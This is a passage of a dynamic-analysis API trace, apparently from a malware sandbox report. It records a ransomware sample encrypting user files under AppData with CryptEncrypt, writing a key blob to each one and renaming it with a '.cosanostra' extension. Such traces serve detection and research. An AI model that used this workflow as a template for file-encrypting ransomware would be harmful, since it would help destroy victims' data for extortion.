nNumberOfBytesToWrite=0x7b0, lpNumberOfBytesWritten=0x2abf594, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf594*=0x7b0, lpOverlapped=0x0) returned 1 [0087.990] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.990] WriteFile (in: hFile=0x154, lpBuffer=0x2abf5d4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf594, lpOverlapped=0x0 | out: lpBuffer=0x2abf5d4*, lpNumberOfBytesWritten=0x2abf594*=0x4, lpOverlapped=0x0) returned 1 [0087.990] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf594, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf594*=0x30, lpOverlapped=0x0) returned 1 [0087.990] CloseHandle (hObject=0x154) returned 1 [0087.990] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\brndlog.txt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\brndlog.txt.cosanostra")) returned 1 [0088.037] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5c8 | out: pbBuffer=0x2abf5c8) returned 1 [0088.037] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5c0*=0x30) returned 1 [0088.037] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0088.040] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat") returned 139 [0088.040] StrStrW (lpFirst="{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat", lpSrch=".txt") returned 0x0 [0088.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffee00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.052] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf584*=0x1200, lpOverlapped=0x0) returned 1 [0088.052] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.052] WriteFile (in: hFile=0x190, lpBuffer=0x2abf5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x2abf5c4*, lpNumberOfBytesWritten=0x2abf584*=0x4, lpOverlapped=0x0) returned 1 [0088.052] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf584*=0x30, lpOverlapped=0x0) returned 1 [0088.052] CloseHandle (hObject=0x190) returned 1 [0088.053] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\{69512155-C8F9-11E7-B5BF-C43DC7584A00}.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\{69512155-c8f9-11e7-b5bf-c43dc7584a00}.dat.cosanostra")) returned 1 [0088.055] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5c8 | out: pbBuffer=0x2abf5c8) returned 1 [0088.055] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5c0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5c0*=0x30) returned 1 [0088.056] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0088.056] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat") returned 153 [0088.056] StrStrW (lpFirst="RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat", lpSrch=".txt") returned 0x0 [0088.067] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xffffee00, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.067] WriteFile (in: hFile=0x190, lpBuffer=0x301bb38*, nNumberOfBytesToWrite=0x1200, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x301bb38*, lpNumberOfBytesWritten=0x2abf584*=0x1200, lpOverlapped=0x0) returned 1 [0088.067] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.067] WriteFile (in: hFile=0x190, lpBuffer=0x2abf5c4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x2abf5c4*, lpNumberOfBytesWritten=0x2abf584*=0x4, lpOverlapped=0x0) returned 1 [0088.068] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf584, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf584*=0x30, lpOverlapped=0x0) returned 1 [0088.068] CloseHandle (hObject=0x190) returned 1 [0088.068] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Internet Explorer\\Recovery\\Last Active\\RecoveryStore.{AAE6BF5C-4991-11E7-8E2B-C43DC7584A00}.dat.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\internet explorer\\recovery\\last active\\recoverystore.{aae6bf5c-4991-11e7-8e2b-c43dc7584a00}.dat.cosanostra")) returned 1 [0088.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5c0 | out: pbBuffer=0x2abf5c0) returned 1 [0088.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5b8*=0x30) returned 1 [0088.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\.." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.074] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5c0 | out: pbBuffer=0x2abf5c0) returned 1 [0088.074] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5b8*=0x30) returned 1 [0088.074] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\." (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\."), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0088.092] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5a8 | out: pbBuffer=0x2abf5a8) returned 1 [0088.092] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5a0*=0x30) returned 1 [0088.092] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0088.093] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl") returned 117 [0088.093] StrStrW (lpFirst="12_All_Video.wpl", lpSrch=".txt") returned 0x0 [0088.165] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0xfffffbc9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.165] WriteFile (in: hFile=0x190, lpBuffer=0x2fd0090*, nNumberOfBytesToWrite=0x437, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x2fd0090*, lpNumberOfBytesWritten=0x2abf564*=0x437, lpOverlapped=0x0) returned 1 [0088.166] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.166] WriteFile (in: hFile=0x190, lpBuffer=0x2abf5a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x2abf5a4*, lpNumberOfBytesWritten=0x2abf564*=0x4, lpOverlapped=0x0) returned 1 [0088.166] WriteFile (in: hFile=0x190, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf564*=0x30, lpOverlapped=0x0) returned 1 [0088.166] CloseHandle (hObject=0x190) returned 1 [0088.167] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\0000E713\\12_All_Video.wpl.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\media player\\sync playlists\\en-us\\0000e713\\12_all_video.wpl.cosanostra")) returned 1 [0088.167] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5a8 | out: pbBuffer=0x2abf5a8) returned 1 [0088.167] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf5a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf5a0*=0x30) returned 1 [0088.167] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.201] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig") returned 112 [0088.201] StrStrW (lpFirst="350db95df4cbd94b2a1c300510e12e11.sig", lpSrch=".txt") returned 0x0 [0088.203] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffff80, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.203] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf564*=0x80, lpOverlapped=0x0) returned 1 [0088.203] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.203] WriteFile (in: hFile=0x154, lpBuffer=0x2abf5a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x2abf5a4*, lpNumberOfBytesWritten=0x2abf564*=0x4, lpOverlapped=0x0) returned 1 [0088.203] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf564, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf564*=0x30, lpOverlapped=0x0) returned 1 [0088.203] CloseHandle (hObject=0x154) returned 1 [0088.204] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Office\\ONetConfig\\350db95df4cbd94b2a1c300510e12e11.sig.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\office\\onetconfig\\350db95df4cbd94b2a1c300510e12e11.sig.cosanostra")) returned 1 [0088.205] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5a0 | out: pbBuffer=0x2abf5a0) returned 1 [0088.205] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf598*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf598*=0x30) returned 1 [0088.205] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.206] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount") returned 126 [0088.206] StrStrW (lpFirst="account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount", lpSrch=".txt") returned 0x0 [0088.207] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffff938, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.207] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x6c8, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf55c*=0x6c8, lpOverlapped=0x0) returned 1 [0088.207] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.207] WriteFile (in: hFile=0x154, lpBuffer=0x2abf59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x2abf59c*, lpNumberOfBytesWritten=0x2abf55c*=0x4, lpOverlapped=0x0) returned 1 [0088.207] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf55c*=0x30, lpOverlapped=0x0) returned 1 [0088.207] CloseHandle (hObject=0x154) returned 1 [0088.207] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{AF0DB737-2EF9-4633-BF5E-1A6761ED1577}.oeaccount.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{af0db737-2ef9-4633-bf5e-1a6761ed1577}.oeaccount.cosanostra")) returned 1 [0088.208] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf5a0 | out: pbBuffer=0x2abf5a0) returned 1 [0088.208] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf598*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf598*=0x30) returned 1 [0088.208] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.208] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 126 [0088.208] StrStrW (lpFirst="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount", lpSrch=".txt") returned 0x0 [0088.210] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffd60, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.210] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2a0, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf55c*=0x2a0, lpOverlapped=0x0) returned 1 [0088.210] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.210] WriteFile (in: hFile=0x154, lpBuffer=0x2abf59c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x2abf59c*, lpNumberOfBytesWritten=0x2abf55c*=0x4, lpOverlapped=0x0) returned 1 [0088.210] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf55c, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf55c*=0x30, lpOverlapped=0x0) returned 1 [0088.210] CloseHandle (hObject=0x154) returned 1 [0088.210] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount.cosanostra")) returned 1 [0088.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf598 | out: pbBuffer=0x2abf598) returned 1 [0088.211] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf590*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf590*=0x30) returned 1 [0088.211] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.212] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount") returned 126 [0088.212] StrStrW (lpFirst="account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount", lpSrch=".txt") returned 0x0 [0088.213] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xfffffa1c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.213] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x5e4, lpNumberOfBytesWritten=0x2abf554, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf554*=0x5e4, lpOverlapped=0x0) returned 1 [0088.213] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.213] WriteFile (in: hFile=0x154, lpBuffer=0x2abf594*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2abf554, lpOverlapped=0x0 | out: lpBuffer=0x2abf594*, lpNumberOfBytesWritten=0x2abf554*=0x4, lpOverlapped=0x0) returned 1 [0088.214] WriteFile (in: hFile=0x154, lpBuffer=0x27c848*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x2abf554, lpOverlapped=0x0 | out: lpBuffer=0x27c848*, lpNumberOfBytesWritten=0x2abf554*=0x30, lpOverlapped=0x0) returned 1 [0088.214] CloseHandle (hObject=0x154) returned 1 [0088.214] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\account{047EF9CE-9C1F-4250-9CA7-D206DB8B643C}.oeaccount.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\account{047ef9ce-9c1f-4250-9ca7-d206db8b643c}.oeaccount.cosanostra")) returned 1 [0088.217] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x2abf590 | out: pbBuffer=0x2abf590) returned 1 [0088.217] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c848*, pdwDataLen=0x2abf588*=0x20, dwBufLen=0x30 | out: pbData=0x27c848*, pdwDataLen=0x2abf588*=0x30) returned 1 [0088.217] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\visio\\thumbs.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0088.218] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Visio\\thumbs.dat") returned 74 [0088.218] StrStrW (lpFirst="thumbs.dat", lpSrch=".txt") returned 0x0 [0088.340] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0088.340] WriteFile (in: hFile=0x154, lpBuffer=0x229f48*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x2abf54c, lpOverlapped=0x0 | out: lpBuffer=0x229f48*, lpNumberOfBytesWritten=0x2abf54c*=0x2800, lpOverlapped=0x0) returned 1 [0088.345] SetFilePointerEx (in: hFile=0x154, liDistanceToMove=0x0, 